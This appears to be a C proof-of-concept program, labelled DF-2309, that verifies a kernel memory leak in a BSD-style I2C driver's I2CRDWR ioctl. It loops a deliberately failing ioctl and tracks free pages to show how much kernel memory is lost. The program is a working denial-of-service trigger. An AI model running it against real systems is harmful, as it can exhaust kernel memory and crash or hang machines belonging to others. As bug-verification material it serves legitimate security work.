DF-2309 / usrbufleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 | /* * usrbufleak.c -- DF-2309 verification: the I2CRDWR ioctl leaks the * kernel-side usrbufs array every time the initial copyin() of the msgs * array fails, exhausting wired kernel memory (DoS). * * Target (sys/bus/iicbus/iic.c, iicioctl I2CRDWR): * :351 buf = kmalloc(sizeof(*d->msgs) * d->nmsgs, M_TEMP, M_WAITOK); * :352 usrbufs = kmalloc(sizeof(void *) * d->nmsgs, * :353 M_TEMP, M_ZERO | M_WAITOK); * :353 error = copyin(d->msgs, buf, sizeof(*d->msgs) * d->nmsgs); * :354 if (error) * :355 break; <- jumps to the epilogue * :385 if (buf != NULL) * :386 kfree(buf, M_TEMP); <- buf freed... * <- ...usrbufs NEVER freed * * Each failing call permanently leaks sizeof(void*)*nmsgs = 8*nmsgs bytes * (the buf half of the allocation is freed again, so the NET leak is * exactly the usrbufs array). * * This program repeats the failing ioctl and samples the kernel's free-page * counter (sysctl vm.stats.vm.v_free_count) to show the linear, permanent * growth; run.sh snapshots `vmstat -m` (malloc type "temp") around it for * the allocator-side view. * * Every iteration must fail with EFAULT (copyin of an unmapped low address); * any other result aborts the run. * * Usage: usrbufleak [nmsgs=100000] [iters=200] [sample_every=25] */ #include <sys/types.h> #include <sys/ioccom.h> #include <sys/sysctl.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> struct iic_msg { uint16_t slave; uint16_t flags; uint16_t len; uint8_t *buf; }; struct iic_rdwr_data { struct iic_msg *msgs; uint32_t nmsgs; }; #define I2CRDWR _IOW('i', 6, struct iic_rdwr_data) #define PAGE_SIZE 4096LL static long free_pages(void) { unsigned long v = 0; size_t len = sizeof(v); if (sysctlbyname("vm.stats.vm.v_free_count", &v, &len, NULL, 0) != 0) err(1, "sysctl vm.stats.vm.v_free_count"); return ((long)v); } int main(int argc, char **argv) { const char *dev = "/dev/iic0"; long nmsgs = argc > 1 ? strtol(argv[1], NULL, 0) : 100000; long iters = argc > 2 ? strtol(argv[2], NULL, 0) : 200; long every = argc > 3 ? strtol(argv[3], NULL, 0) : 25; struct iic_rdwr_data d; long f0, fprev, f; long double expect_mb; int fd, i, faults = 0; fd = open(dev, O_RDWR); if (fd < 0) err(1, "open %s", dev); printf("DF-2309 usrbufs leak loop: nmsgs=%ld iters=%ld\n", nmsgs, iters); printf("per-call leak if real: %ld bytes; total if real: %.1f MB\n", 8 * nmsgs, (double)(8.0 * nmsgs * iters) / (1024.0 * 1024.0)); memset(&d, 0, sizeof(d)); d.msgs = (struct iic_msg *)(uintptr_t)0x10; /* unmapped: EFAULT */ d.nmsgs = (uint32_t)nmsgs; f0 = fprev = free_pages(); printf("start: v_free_count=%ld (%.1f MB free)\n", f0, (double)(f0 * PAGE_SIZE) / (1024.0 * 1024.0)); for (i = 1; i <= (int)iters; i++) { int rc; errno = 0; rc = ioctl(fd, I2CRDWR, &d); if (rc == 0) { fprintf(stderr, "iter %d: ioctl SUCCEEDED?!\n", i); return (2); } if (errno != EFAULT) { fprintf(stderr, "iter %d: errno=%d (%s), expected " "EFAULT -- aborting\n", i, errno, strerror(errno)); return (2); } faults++; if (i % (int)every == 0 || i == 1) { f = free_pages(); printf("iter %-5d faults=%d v_free_count=%ld " "(delta_from_start=%+ld pages = %.1f MB consumed)" "\n", i, faults, f, f - f0, (double)((f0 - f) * PAGE_SIZE) / (1024.0*1024.0)); fflush(stdout); fprev = f; } } f = free_pages(); expect_mb = (long double)(8.0 * (long double)nmsgs * (long double)iters) / (1024.0L * 1024.0L); printf("\nend: v_free_count=%ld consumed=%ld pages = %.1f MB\n", f, f0 - f, (double)((f0 - f) * PAGE_SIZE) / (1024.0 * 1024.0)); printf("expected if leak real: %.1f MB; expected if fixed: ~0 MB\n", (double)expect_mb); printf("faults=%d/%ld\n", faults, iters); close(fd); return (0); } |